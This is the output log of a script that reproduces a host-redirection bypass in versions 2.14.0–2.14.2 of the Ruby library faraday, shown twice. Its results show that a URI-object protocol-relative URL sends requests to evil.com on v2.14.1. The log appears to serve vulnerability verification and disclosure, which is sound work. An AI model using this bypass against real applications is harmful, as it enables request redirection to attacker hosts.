========================================
Variant/Bypass Reproduction Script
Date: 2026-05-22T17:59:57+00:00
========================================
[+] Ensuring faraday v2.14.0, v2.14.1, v2.14.2 are available...

[TEST 1] v2.14.0 - should be vulnerable to both string and URI protocol-relative URLs
v2.14.0 string: host=evil.com, path=/path
v2.14.0 URI:    host=evil.com, path=/path

[TEST 2] v2.14.1 - string variant should be FIXED; URI variant should BYPASS
v2.14.1 string: host=httpbingo.org, path=/api///evil.com/path
v2.14.1 URI:    host=evil.com, path=/path
BYPASS_CONFIRMED

[TEST 3] v2.14.2 - both variants should be fixed
v2.14.2 string: host=httpbingo.org, path=/api///evil.com/path
v2.14.2 URI:    host=httpbingo.org, path=/api///evil.com/path
FIXED

[TEST 4] End-to-end bypass via request block on v2.14.1
Request URL: http://evil.com/path
Host: evil.com
E2E_BYPASS_CONFIRMED

========================================
RESULT: BYPASS CONFIRMED on v2.14.1
Variant: URI object protocol-relative URL bypasses string-only guard
========================================
Variant/Bypass Reproduction Script
Date: 2026-05-22T18:00:01+00:00
========================================
[+] Ensuring faraday v2.14.0, v2.14.1, v2.14.2 are available...

[TEST 1] v2.14.0 - should be vulnerable to both string and URI protocol-relative URLs
v2.14.0 string: host=evil.com, path=/path
v2.14.0 URI:    host=evil.com, path=/path

[TEST 2] v2.14.1 - string variant should be FIXED; URI variant should BYPASS
v2.14.1 string: host=httpbingo.org, path=/api///evil.com/path
v2.14.1 URI:    host=evil.com, path=/path
BYPASS_CONFIRMED

[TEST 3] v2.14.2 - both variants should be fixed
v2.14.2 string: host=httpbingo.org, path=/api///evil.com/path
v2.14.2 URI:    host=httpbingo.org, path=/api///evil.com/path
FIXED

[TEST 4] End-to-end bypass via request block on v2.14.1
Request URL: http://evil.com/path
Host: evil.com
E2E_BYPASS_CONFIRMED

========================================
RESULT: BYPASS CONFIRMED on v2.14.1
Variant: URI object protocol-relative URL bypasses string-only guard